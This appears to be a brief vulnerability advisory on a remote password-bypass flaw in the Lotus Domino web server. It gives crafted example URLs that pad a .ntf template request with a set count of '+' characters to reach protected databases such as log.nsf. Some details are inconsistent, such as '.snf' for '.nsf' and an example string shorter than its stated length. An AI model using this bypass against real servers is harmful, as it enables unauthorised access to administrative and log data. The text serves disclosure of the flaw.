General Info
------------
Problem Type : password protected url bypass
Product : Lotus Domino
Scope : Remote
Risk : High
Summary
-------
A security vulnerability has been found in the popular Lotus Domino Web server.
Lotus Domino have files like webadmin.nsf, log.nsf and names.nfs, this files
are protected by password. I discover that is posible to bypass this password
if you create a malformed url.
Notes Databases '.nsf' like webadmin.nsf or log.nsf are store in "lotus/domino/
data/" directory nas Notes Templatesi '.ntf' are store in the same place (Here
is the goal).
Examples:
I found a critical and max length.
assuming the buffer is: http://host.com/<buffer>/
Critical buffer length: is the minimun buffer length you need to bypass the
passwd file.
normal url: http://host.com/log.nsf <---- Request for a passwd
modify url: http://host.com/log.ntf<buff>.snf/
|-----217 -------|
In the case of log.nsf, <buff> is 217 - 12 = 205 '+' and the url will be:
http://host.com/log.ntf++++++++++++++++++++.nsf/
|-------- 205 -----|
If you write a buffer between 219 and 257(higher buffer), you bypass the passwd.
modify url: http://host.com/log.ntf<buff>.snf/
|---219 to 257 --|
